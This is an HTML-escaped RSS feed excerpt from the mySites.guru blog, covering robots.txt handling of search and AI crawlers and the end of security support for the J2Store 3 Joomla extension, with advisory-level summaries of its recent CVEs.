&lt;p&gt;We run the same policy here. The live &lt;code&gt;robots.txt&lt;/code&gt; for this site names no crawler at all, allows everything, declares its sitemap, and expresses a preference with a single &lt;a href=&quot;https://contentsignals.org/&quot;&gt;Content-Signal&lt;/a&gt; line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;User-agent: *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Content-Signal: search=yes, ai-input=yes, ai-train=no&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /wp-admin/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Sitemap: https://mysites.guru/sitemap-index.xml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Search, yes. Feeding an assistant that cites us, yes. Training, no thank you. No one blocked, and that policy is generated in our own build rather than bolted on by a CDN. mySites.guru reports Content-Signal lines when it finds them and never writes one for you.&lt;/p&gt;
&lt;h2&gt;Is your robots.txt the file crawlers actually read?&lt;/h2&gt;
&lt;p&gt;For a meaningful minority of sites, the answer is no, and it is the finding that wastes the most time when no one knows about it.&lt;/p&gt;
&lt;p&gt;3.9% of the Joomla sites we have measured, and 8.0% of the WordPress sites, are served a &lt;code&gt;robots.txt&lt;/code&gt; that does not match the file on their own server. Several returned an identical 1,836-byte file containing none of their CMS’s own disallow lines, which is what &lt;a href=&quot;https://developers.cloudflare.com/bots/additional-configurations/managed-robots-txt/&quot;&gt;Cloudflare’s managed robots.txt&lt;/a&gt; looked like in early September when the origin’s file was never merged into it. Give Cloudflare its due for that version: it named eight training crawlers and left the search and answer crawlers alone, which is the distinction most hand-written blocklists miss.&lt;/p&gt;
&lt;p&gt;The eight names have since gone. A zone with the managed setting still on and AI bots still set to block now serves 1,248 bytes that are entirely comment: no &lt;code&gt;User-agent&lt;/code&gt; group, no &lt;code&gt;Content-Signal&lt;/code&gt; directive, no &lt;code&gt;Disallow&lt;/code&gt; line, just the preamble explaining what content signals would mean if the file contained any. The preference moved into Cloudflare’s own Search, Training and Agent controls, where a crawler is stopped at the edge rather than asked in a file. Cloudflare’s documentation still prints the eight-crawler version, and the worked example it links to has already dropped it. Clause (c) of the preamble that remains says that where the operator gives no signal for a use, they neither grant nor restrict permission for it. So the file now reserves rights over nothing.&lt;/p&gt;
&lt;p&gt;Cloudflare is not the only culprit either. A host can do it too: SiteGround’s anti-bot challenge &lt;a href=&quot;https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/&quot;&gt;serves a noindex page to anything it takes for a bot&lt;/a&gt;, Googlebot included. mySites.guru detects the general case by hashing both copies and comparing them, rather than by sniffing a &lt;code&gt;Server:&lt;/code&gt; header. Being behind a CDN is not the finding. The disagreement is, and it holds for any edge that rewrites this file rather than only for the one vendor we happen to recognise.&lt;/p&gt;
&lt;p&gt;The consequence reaches you, which is the reason the check exists. On an edge-managed site, editing &lt;code&gt;robots.txt&lt;/code&gt; on your server changes nothing any crawler will ever see. The obvious next move, which is to &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;open the file manager&lt;/a&gt;, edit the file, save it and then wonder why nothing happened, wastes an afternoon and teaches you that the tools do not work. So there is no fix button on that check, and the panel says why: we cannot change what a CDN serves, and a button that appeared to would be lying. It links you to the Cloudflare setting instead.&lt;/p&gt;
&lt;p&gt;This is also getting more common. Since 15 September 2026, &lt;a href=&quot;https://blog.cloudflare.com/agentic-internet-bot-report/&quot;&gt;domains newly onboarding to Cloudflare&lt;/a&gt; have Training and Agent crawlers blocked by default on pages that display ads, while Search crawlers stay allowed. That default gets the distinction right, more than most hand-written blocklists manage.&lt;/p&gt;
&lt;p&gt;Existing zones are moving to the same three controls. Cloudflare emailed account holders on 16 September to say the migration runs over the following week, and a zone that had Block AI Bots switched on becomes Search: allow, Training: disallow, Agent: block on pages with ads. Cloudflare describes the new Search setting as letting Applebot, Googlebot and Bingbot index a site while telling them not to train on it, so for a zone that was blocking, this is a loosening. Those crawlers feed answer engines, and pages that were invisible to them become eligible to appear there. If you run sites for clients who chose to block, that decision is being relaxed on a schedule they did not pick, and the switch that expressed it leaves the dashboard once the migration finishes.&lt;/p&gt;
&lt;h2&gt;Which of your sites are hidden right now?&lt;/h2&gt;
&lt;p&gt;If you have a hundred sites, you should not have to open a hundred pages to find the two that are invisible. There is an all-sites Search Engine Visibility page listing every connected Joomla and WordPress site with a verdict against each one, drawn from the stored readings rather than from a live call, so it renders hundreds of rows at once.&lt;/p&gt;
&lt;p&gt;Sites that are hidden from search get a red badge and a Restore button. The restore is careful about what it touches. It comments out the &lt;code&gt;Disallow: /&lt;/code&gt; inside the wildcard group rather than deleting it, so you can see exactly what changed and put it back, and it leaves a &lt;code&gt;Disallow: /&lt;/code&gt; under a named crawler completely alone, because that is an opt-out no one should undo on your behalf.&lt;/p&gt;
&lt;p&gt;Where a crawler shares a group with others, the group gets split rather than cleared. The 180-token file above is why: deleting that one &lt;code&gt;Disallow: /&lt;/code&gt; line would have restored Apple and OpenAI’s answer crawlers and simultaneously reversed the owner’s training opt-out for every trainer in the same group, which is an edit to their AI policy that no one asked for.&lt;/p&gt;
&lt;p&gt;There is also a &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;daily digest&lt;/a&gt;, on by default, that emails you when a site &lt;em&gt;newly starts&lt;/em&gt; blocking search engines or answer engines. It is a set difference rather than a count, so a site that has been blocking Googlebot for years never triggers it, and no site is emailed twice for the same block. Blocking an AI training crawler is reported in the interface and never emailed, because it is a legitimate choice and not our business to nag you about.&lt;/p&gt;
&lt;h2&gt;The one directive that adds reach&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Sitemap:&lt;/code&gt; is the only line in &lt;code&gt;robots.txt&lt;/code&gt; that gives a crawler something. Everything else in the file takes something away.&lt;/p&gt;
&lt;p&gt;81.6% of the Joomla sites we have measured declare no sitemap, which sounds like an enormous open goal until you check the second number: only 15.4% of those sites have a sitemap to declare. Telling the other 84.6% to “add a Sitemap line” would be advice they cannot follow, and a check that gives you advice you cannot follow is a check you learn to ignore, and then you ignore it on the day it is right.&lt;/p&gt;
&lt;p&gt;So the mySites.guru check has two tiers. Sitemap found but not declared is a warning with a one-click fix that appends the real URL, which is a one-line win. No sitemap found at all is a neutral badge and no nagging, because on Joomla that is an extension decision rather than a &lt;code&gt;robots.txt&lt;/code&gt; edit.&lt;/p&gt;
&lt;p&gt;WordPress is a different population entirely. 87.5% of WordPress sites already declare a sitemap, against 18.4% of Joomla sites, and most of those lines were injected by Yoast, Rank Math or All in One SEO rather than typed by anybody. Where a WordPress site does omit the line, 56.9% of them have a sitemap sitting there undeclared, so the one-click fix applies far more often than on Joomla. Which leads to the trap that makes this check not act on WordPress more often than you would expect: writing a physical &lt;code&gt;robots.txt&lt;/code&gt; into a WordPress webroot is not an addition, it is a takeover. The web server then answers the request itself, WordPress never runs, and every line the SEO plugin was injecting stops being served, including the &lt;code&gt;Sitemap:&lt;/code&gt; line you were trying to protect.&lt;/p&gt;
&lt;h2&gt;What eventually replaces a list of bot names&lt;/h2&gt;
&lt;p&gt;There is a problem underneath everything above, and it explains why &lt;code&gt;robots.txt&lt;/code&gt; can never be more than a request.&lt;/p&gt;
&lt;p&gt;A user-agent string is a self-declaration. Anything on the internet can send &lt;code&gt;Googlebot&lt;/code&gt; in a header, and plenty does. So the file asks a crawler to identify itself honestly and then to obey rules written for that identity, and both parts of that depend entirely on the crawler’s goodwill. Verifying a bot properly today means reverse DNS lookups and published IP ranges, which works, is fiddly, and ties a bot’s identity to where it happens to be hosted.&lt;/p&gt;
&lt;p&gt;Google is now testing a replacement for that, and there is nothing to do about it yet. &lt;a href=&quot;https://developers.google.com/crawling/docs/crawlers-fetchers/web-bot-auth&quot;&gt;Web Bot Auth&lt;/a&gt; is an IETF draft protocol, developed by a working group formed for it, that has agents cryptographically sign their requests using &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9421.html&quot;&gt;HTTP Message Signatures&lt;/a&gt;. Google’s own summary of the benefit is the useful sentence: it lets a site “move beyond easily spoofed headers to a verified identity and decouple agent identity from IP addresses.”&lt;/p&gt;
&lt;p&gt;In practice, a participating agent sends a &lt;code&gt;Signature-Agent&lt;/code&gt; header naming a key directory, the site fetches that agent’s public keys once and caches them, and every signed request can then be checked against them. Google is currently signing a subset of requests from its &lt;code&gt;Google-Agent&lt;/code&gt; user agent, which authenticates as &lt;code&gt;agent.bot.goog&lt;/code&gt;. Most major bot detection services, CDNs and web application firewalls already support the protocol, and Cloudflare publishes a reference implementation.&lt;/p&gt;
&lt;p&gt;Google is careful about the status, and so are we. Not every Google user agent uses it, not every request from a participating agent is signed, and Google still recommends verifying by IP address, reverse DNS and user-agent string alongside it. mySites.guru does not check any of this today, and none of the nine checks in the Search Engine Visibility group knows what a signature is.&lt;/p&gt;
&lt;p&gt;The direction of travel is what matters. “Which bot is this?” is on its way to being a question with a verifiable answer rather than a trusting one, and that is the thing that would finally make access decisions enforceable in a way a text file has never been. It does not change what you should do with your &lt;code&gt;robots.txt&lt;/code&gt; this week. It does suggest that the long-term answer to unwanted crawlers is identity and enforcement at your edge, and that curating a list of names in a public text file was always the wrong layer for it.&lt;/p&gt;
&lt;h2&gt;Do not paste anything from the internet, including this&lt;/h2&gt;
&lt;p&gt;Every code block in this post is an illustration. So is every code block in every other article about &lt;code&gt;robots.txt&lt;/code&gt;, including the ones that told the sites we measured to block Applebot.&lt;/p&gt;
&lt;p&gt;Be careful because this particular file punishes a small mistake out of all proportion to the effort of making it. One line in the wrong group, one crawler name confused with its near-twin, one wildcard section a crawler never reads because you gave it a section of its own, and the site is still up, still fast, still taking orders, and slowly disappearing from the places people look for it. There is no error message. Nothing goes red. You find out from a traffic graph months later.&lt;/p&gt;
&lt;p&gt;WordPress owners have the cleanest illustration of how cheap the mistake can be. &lt;a href=&quot;https://wordpress.org/documentation/article/settings-reading-screen/&quot;&gt;Settings, Reading&lt;/a&gt;, one checkbox marked “Discourage search engines from indexing this site”, ticked during a build and never unticked. It is exactly the right setting while a site is being built and exactly the wrong one the day it launches, and clicking it takes less than a second.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;That checkbox is not a robots.txt setting, and this post&apos;s checks cannot see it&lt;/p&gt;&lt;div&gt;&lt;p&gt;On current WordPress the Reading checkbox does not write &lt;code&gt;Disallow: /&lt;/code&gt; into your &lt;code&gt;robots.txt&lt;/code&gt; at all. It emits a site-wide &lt;code&gt;noindex&lt;/code&gt; on your pages instead, which is a far more effective way of leaving Google, because &lt;code&gt;noindex&lt;/code&gt; is the instruction that actually removes a page from an index. Every check in this post reads &lt;code&gt;robots.txt&lt;/code&gt;, so a site can pass all nine and still be invisible. mySites.guru covers that setting with a separate check, &lt;a href=&quot;https://mysites.guru/tools/wordpress-configuration/search-engine-visibility/&quot;&gt;Let Search Engines Index The Site&lt;/a&gt;, and if you run WordPress it deserves more of your attention than anything to do with AI crawlers.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So before you paste a block of crawler names into a live site, know what each name is for, which group it will join, and what you lose if you are wrong about either. If you cannot say what &lt;code&gt;OAI-SearchBot&lt;/code&gt; does without looking it up, that is the signal to leave the file alone. Doing nothing has no failure mode. This file rewards restraint far more reliably than it rewards effort.&lt;/p&gt;
&lt;h2&gt;What to do this week&lt;/h2&gt;
&lt;p&gt;You do not need a tool for most of this. Here is the whole job.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt; in a browser. If you get a 404, a 403 or a themed error page, that is your first finding and it is the commonest one.&lt;/li&gt;
&lt;li&gt;Look for &lt;code&gt;Disallow: /&lt;/code&gt; under &lt;code&gt;User-agent: *&lt;/code&gt;. On a live site, that line is almost never intentional.&lt;/li&gt;
&lt;li&gt;Look for any crawler named in the file. If &lt;code&gt;Applebot&lt;/code&gt;, &lt;code&gt;Googlebot&lt;/code&gt;, &lt;code&gt;Bingbot&lt;/code&gt;, &lt;code&gt;OAI-SearchBot&lt;/code&gt;, &lt;code&gt;Claude-SearchBot&lt;/code&gt;, &lt;code&gt;PerplexityBot&lt;/code&gt; or &lt;code&gt;DuckAssistBot&lt;/code&gt; appears above a &lt;code&gt;Disallow: /&lt;/code&gt;, you are paying for it in visibility.&lt;/li&gt;
&lt;li&gt;If you have a &lt;code&gt;User-agent: Googlebot&lt;/code&gt; section, check that it repeats every rule you meant Googlebot to obey. It will not inherit anything from &lt;code&gt;User-agent: *&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Check the file is at the root of the domain, not inside a subfolder, and remember that &lt;code&gt;www.&lt;/code&gt; and the apex are two different hosts needing two different files.&lt;/li&gt;
&lt;li&gt;Add a &lt;code&gt;Sitemap:&lt;/code&gt; line if you have a sitemap and it is missing. Confirm the URL actually returns XML first.&lt;/li&gt;
&lt;li&gt;Compare what you see in a browser against the file on your server. If they differ, your CDN is generating it and your server copy is decoration.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you would rather this ran by itself across every site you manage, that is what we built. The checks run on every snapshot, the &lt;a href=&quot;https://mysites.guru/tools/search-engine-visibility/&quot;&gt;all-sites page&lt;/a&gt; tells you which sites are hidden, and there is a crawler tester on each site’s &lt;code&gt;robots.txt&lt;/code&gt; page that answers “would this crawler be allowed to fetch this URL”, tested against the editor buffer so you can check an edit before you save it to a live site. Google retired its own tester in 2023 and never replaced it.&lt;/p&gt;
&lt;p&gt;Doing nothing remains a perfectly good policy. Doing something careless is the expensive one, and it is expensive in a way that produces no error message, no broken page and no complaint from anybody. Just a slow, silent absence from the places people are increasingly asking their questions.&lt;/p&gt;
&lt;p&gt;If you want the fuller argument about why the robots changed, &lt;a href=&quot;https://magazine.joomla.org/issues/2026/august-2026/the-robots-have-changed-and-your-robots-txt-hasnt&quot;&gt;Philip Walton’s piece in the August 2026 Joomla Community Magazine&lt;/a&gt; is what sent us off to measure our own. Our older post on &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-robots-txt-seo/&quot;&gt;checking a Joomla robots.txt for SEO problems&lt;/a&gt; covers the &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt; story in more depth.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/robots/intro&quot;&gt;Introduction to robots.txt&lt;/a&gt; - Google&apos;s own page, and the source of the sentence that robots.txt is not a mechanism for keeping a page out of Google.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/block-indexing&quot;&gt;Block Search indexing with noindex&lt;/a&gt; - explains why a page blocked in robots.txt can never have its noindex tag read.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9309.html&quot;&gt;RFC 9309, Robots Exclusion Protocol&lt;/a&gt; - the 2022 standard, including the line that these rules are not a form of access authorization.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/crawling/docs/robots-txt/robots-txt-spec&quot;&gt;How Google interprets the robots.txt specification&lt;/a&gt; - the grouping and specificity rules, including that a disallowed URL may still be indexed without a snippet.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/google-common-crawlers&quot;&gt;Google&apos;s common crawlers&lt;/a&gt; - confirms Google-Extended is a control token rather than a crawler, and does not affect Search.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/crawling/docs/crawlers-fetchers/web-bot-auth&quot;&gt;Authenticate requests with Web Bot Auth&lt;/a&gt; - Google&apos;s experimental work on cryptographically signed crawler identity, and where this problem is heading next.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/api/docs/bots&quot;&gt;OpenAI&apos;s bots&lt;/a&gt; - the GPTBot, OAI-SearchBot and ChatGPT-User split, in OpenAI&apos;s words.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.claude.com/en/articles/8896518&quot;&gt;Anthropic&apos;s crawlers&lt;/a&gt; - ClaudeBot, Claude-SearchBot and Claude-User, and Anthropic&apos;s statement that all three respect robots.txt.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/119829&quot;&gt;About Applebot&lt;/a&gt; - Apple&apos;s own page, including the line that Applebot-Extended does not crawl webpages.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.perplexity.ai/guides/bots&quot;&gt;Perplexity&apos;s bots&lt;/a&gt; - PerplexityBot and Perplexity-User, and Perplexity&apos;s own statement that the second generally ignores robots.txt.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.cloudflare.com/agentic-internet-bot-report/&quot;&gt;Cloudflare&apos;s 2026 bot report&lt;/a&gt; - the Search, Agent and Training split, and the defaults that changed on 15 September 2026.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/issues/2026/august-2026/the-robots-have-changed-and-your-robots-txt-hasnt&quot;&gt;The robots have changed, and your robots.txt hasn&apos;t&lt;/a&gt; - Philip Walton in the Joomla Community Magazine, August 2026, which prompted us to go and measure this.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>robots.txt</category><category>seo</category><category>ai</category><category>search engines</category><category>joomla</category><category>wordpress</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/robots-txt-for-joomla-and-wordpress.png" length="0" type="image/png"/></item><item><title>J2Store 3 Stops Getting Security Fixes on 19 October 2026</title><link>https://mysites.guru/blog/j2store-3-end-of-life/</link><guid isPermaLink="true">https://mysites.guru/blog/j2store-3-end-of-life/</guid><description>J2Commerce ends J2Store 3 support on 19 October 2026. Six in ten of the J2Store installs we monitor are on that line, and most are three releases behind.</description><pubDate>Mon, 07 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;J2Commerce &lt;a href=&quot;https://www.j2commerce.com/blog/j2store-3-reaches-end-of-life-on-october-19-2026&quot;&gt;put a date on it&lt;/a&gt; on 3 September 2026. On 19 October 2026, two years to the day after they took the J2Store Joomla extension over, the 3.x line stops. No security patches, including for anything found after that date, no support requests answered, no further releases of any kind.&lt;/p&gt;
&lt;p&gt;Six in ten of the J2Store installs we can see are on that line.&lt;/p&gt;
&lt;p&gt;J2Commerce is drawing a line under the version most of their own users are still running, which is uncomfortable precisely because it is the right call.&lt;/p&gt;
&lt;h2&gt;What J2Commerce announced, and what end of life means here&lt;/h2&gt;
&lt;p&gt;The announcement sets out a full roadmap rather than a single cutoff, which is worth reading as a piece of policy rather than as news.&lt;/p&gt;
&lt;p&gt;J2Commerce &lt;a href=&quot;https://www.j2commerce.com/blog/story-of-a-takeover-the-rebirth-of-a-joomla-e-commerce-extension&quot;&gt;took over J2Store&lt;/a&gt; on 19 October 2024, after the original team closed the project citing rising costs and falling revenue. Every release since then has shipped a &lt;a href=&quot;https://docs.j2commerce.com/migration-from-j2store-3-to-4&quot;&gt;documented migration path to J2Store 4&lt;/a&gt; alongside it. Two years was the runway they set themselves, and 19 October 2026 is the end of it.&lt;/p&gt;
&lt;p&gt;From that date, J2Store 3 gets nothing. The vendor is explicit that this includes security patches for issues discovered afterwards, which is the part that matters, and that no support requests will be answered for the 3.x line.&lt;/p&gt;
&lt;p&gt;They have also set a date for the version they are telling everyone to move to. J2Store 4, now branded J2Commerce 4, reaches end of life on 19 October 2027. From here on, their support tracks Joomla’s own major-version cadence one step behind, with a fixed runway rather than a judgement call each time.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The dates that actually apply to a J2Store 3 shop&lt;/p&gt;&lt;div&gt;&lt;p&gt;19 October 2026: J2Store 3 stops receiving anything. 19 October 2027: J2Store 4 stops too. 13 October 2026: Joomla 5, one of the two Joomla versions J2Store 4 officially supports, drops out of bugfix support. Joomla 4, the other one, has been fully end of life since 14 October 2025.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What the J2Store installs we monitor actually look like&lt;/h2&gt;
&lt;p&gt;Every write-up of an end-of-life announcement says some version of “many sites are still affected”. We can put a number on it, because each Joomla site connected to mySites.guru reports its installed extensions and their versions on its regular snapshot.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60%&lt;/div&gt;&lt;div&gt;of J2Store installs are on the 3.x line&lt;/div&gt;&lt;div&gt;the branch that stops on 19 October&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;98%&lt;/div&gt;&lt;div&gt;of those run Joomla 3 underneath&lt;/div&gt;&lt;div&gt;core support ended August 2023&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;74%&lt;/div&gt;&lt;div&gt;never applied the 20 August fix either&lt;/div&gt;&lt;div&gt;three security releases behind&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;26%&lt;/div&gt;&lt;div&gt;were on 3.3.22 when we measured&lt;/div&gt;&lt;div&gt;the newest build then, until 3.3.23 shipped on 15 September&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Measured 7 September 2026 across connected Joomla sites running the J2Store component with a snapshot in the previous 30 days. Percentages of that group, not of all managed sites.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The third figure is the one that should worry a shop owner more than the deadline does. Three quarters of the J2Store 3 installs we can see are below 3.3.21, which means they never took the 20 August 2026 release, let alone the 31 August or 15 September ones. They are three advisories behind while the branch is still being maintained. Whatever happens on 19 October changes very little for a site in that state, because it has already been running as though the vendor had stopped.&lt;/p&gt;
&lt;p&gt;J2Store is also the most Joomla-3-weighted shop extension on the platform by a wide margin. Across the carts we see, roughly 61% of J2Store installs sit on Joomla 3, against about 45% for VirtueMart, 40% for EShop, 24% for HikaShop and 9% for Phoca Cart. That is why this announcement reaches a far bigger share of live shops than the same announcement from any of the others would.&lt;/p&gt;
&lt;h2&gt;Why is J2Store 3 ending now?&lt;/h2&gt;
&lt;p&gt;Because of what it is built on, at both ends: the CMS underneath it, and the framework inside it. Joomla 3 &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5894-joomla-is-18-and-extended-security-support-for-joomla-3.html&quot;&gt;reached end of life on 17 August 2023&lt;/a&gt;. After that, the only thing standing between a Joomla 3 site and an unpatched core was Joomla’s paid &lt;a href=&quot;https://elts.joomla.org/&quot;&gt;Extended Long Term Support programme&lt;/a&gt;, and that ended on 17 February 2025. The final Joomla 3 release of any kind was 3.10.20, in January 2025. For more than eighteen months there has been no version of Joomla 3 receiving core security fixes from Joomla, at any price.&lt;/p&gt;
&lt;p&gt;J2Commerce kept patching anyway, well past that point, and the 2026 releases are the proof: three separate security batches (&lt;a href=&quot;https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6&quot;&gt;20 August&lt;/a&gt;, &lt;a href=&quot;https://www.j2commerce.com/blog/security-announcement-releases-3-3-22-4-0-22-and-4-1-7&quot;&gt;31 August&lt;/a&gt; and &lt;a href=&quot;https://www.j2commerce.com/blog/security-announcement-releases-3-3-23-4-0-23-and-4-1-8&quot;&gt;15 September&lt;/a&gt;) in under a month, each of them shipped for the Joomla 3 branch on the same day as the modern ones. Their conclusion is that continuing to do this “does more to reassure people than to actually protect them”, which is a harder thing to say in public than most vendors manage.&lt;/p&gt;
&lt;p&gt;The announcement stops there, but the public record shows what that patching costs. Between 20 August and 15 September 2026 the J2Store Joomla extension took seventeen CVE identifiers across three advisories, and each advisory meant building and shipping three separate branches on the same day. Nine security builds in twenty-six days.&lt;/p&gt;
&lt;p&gt;The architecture is what makes that expensive. J2Store is built on FOF, a framework &lt;a href=&quot;https://docs.j2commerce.com/getting-started/technical-requirements&quot;&gt;J2Commerce’s own requirements page&lt;/a&gt; describes as no longer maintained and a source of PHP deprecation warnings. At least two of the five flaws we reported in August exist because of how FOF behaves rather than because of anything anyone wrote: a controller task inherited from the framework with no permission check of its own, and a framework default that reads an undeclared ACL node as permission granted. J2Commerce 6 was written without FOF at all. Keeping J2Store 3 patched means keeping that framework going on top of a CMS that is itself unmaintained, and reasoning about every fix three times, once per branch. The team that ran J2Store before J2Commerce closed the project citing rising costs and falling revenue, so the maintenance economics here are not new.&lt;/p&gt;
&lt;p&gt;Their wording is careful and worth keeping intact: no version of Joomla 3 receives security fixes &lt;em&gt;from Joomla&lt;/em&gt;. Third-party Joomla 3 patching does still exist, including a &lt;a href=&quot;https://joomla-update.ch/joomla3-security-patch/&quot;&gt;paid one-off patch set&lt;/a&gt; and a &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x&quot;&gt;free community fork&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;the community core backport&lt;/a&gt;, which &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;we apply across connected Joomla 3 sites in one click&lt;/a&gt;, closes the published core holes without an eLTS licence. None of that helps here. Patching the core does nothing about a shop component that no longer has anyone maintaining it, and that distinction is the trap for a J2Store 3 owner who has been told their Joomla 3 sites are covered.&lt;/p&gt;
&lt;h2&gt;What actually changes on 19 October&lt;/h2&gt;
&lt;p&gt;Nothing visible. The shop keeps taking orders on 20 October exactly as it did on 18 October. That is what makes an extension end of life easy to defer and easy to get wrong.&lt;/p&gt;
&lt;p&gt;What changes is what happens the next time somebody finds something. Three batches of flaws were found in this extension between 20 August and 15 September 2026, by four separate researchers. Six on 20 August, including &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67361/&quot;&gt;CVE-2026-67361&lt;/a&gt;, an unauthenticated file upload that the vendor &lt;a href=&quot;https://www.j2commerce.com/blog/j2store-file-upload-security-fix-what-you-need-to-know&quot;&gt;confirmed had already been used against real sites&lt;/a&gt; before the patch shipped, and whose published CVSS vector records its exploit maturity as Attacked rather than proof-of-concept. Joomla’s own upload filter blocked PHP files, so it did not become remote code execution, which is luck rather than design.&lt;/p&gt;
&lt;p&gt;Then five more on 31 August, &lt;a href=&quot;https://mysites.guru/blog/j2store-five-security-flaws-disclosure/&quot;&gt;which we found and reported&lt;/a&gt;. The worst of those, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78069/&quot;&gt;CVE-2026-78069&lt;/a&gt;, published on 3 September at 9.5 Critical: a missing permission check that let any account able to log into the Joomla administrator, holding no J2Store permission at all, truncate the shop’s tables and run SQL files off the disk.&lt;/p&gt;
&lt;p&gt;Six more followed on 15 September, &lt;a href=&quot;https://mysites.guru/blog/j2store-six-more-security-flaws-disclosure/&quot;&gt;which we found and reported too&lt;/a&gt; after retesting the 31 August build instead of closing the file. The worst of those is an unauthenticated blind SQL injection in the storefront product list, reachable with no account and no token, which J2Commerce scores 8.7 High. All six records were still reserved at cve.org the morning the advisory went out, so those scores are the vendor’s rather than published CNA ones.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/murrez/CVE-J2store-2026&quot;&gt;Working proof-of-concept code for the 20 August batch&lt;/a&gt; is published on GitHub. So the question after 19 October is what a shop owner does when the next advisory arrives with no patch behind it. Seventeen flaws were found in this extension in under four weeks while people were actively looking, and there is no reason to expect the eighteenth to wait politely for a supported version to appear.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;An extension at end of life does not fail. It just stops being fixed, and nothing on the site tells you the day that starts.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The route out runs onto ground that is also running out&lt;/h2&gt;
&lt;p&gt;The documented migration is J2Store 3 to J2Store 4, and because J2Store 4 will not install on Joomla 3, that migration is also a Joomla migration. The vendor is right that the two should be &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;planned as one project rather than two&lt;/a&gt;. Where &lt;a href=&quot;https://docs.j2commerce.com/migration-from-j2store-3-to-4&quot;&gt;their documentation&lt;/a&gt; needs reading carefully is the destination: it targets “the latest Joomla 4 or 5”.&lt;/p&gt;
&lt;p&gt;Both of those are further along than they sound. Joomla 4 passed its own security end of life on 14 October 2025 and has been removed from &lt;a href=&quot;https://developer.joomla.org/roadmap.html&quot;&gt;Joomla’s live roadmap&lt;/a&gt;. Joomla 5 leaves bugfix support on 13 October 2026, six days before J2Store 3’s end-of-life date, and its security-only phase &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-end-of-support-dates/&quot;&gt;ends on 12 October 2027&lt;/a&gt;. A shop that migrates to J2Store 4 on Joomla 5 in the next few weeks is standing on a version that stops getting bugfixes the week before the deadline it was migrating to beat.&lt;/p&gt;
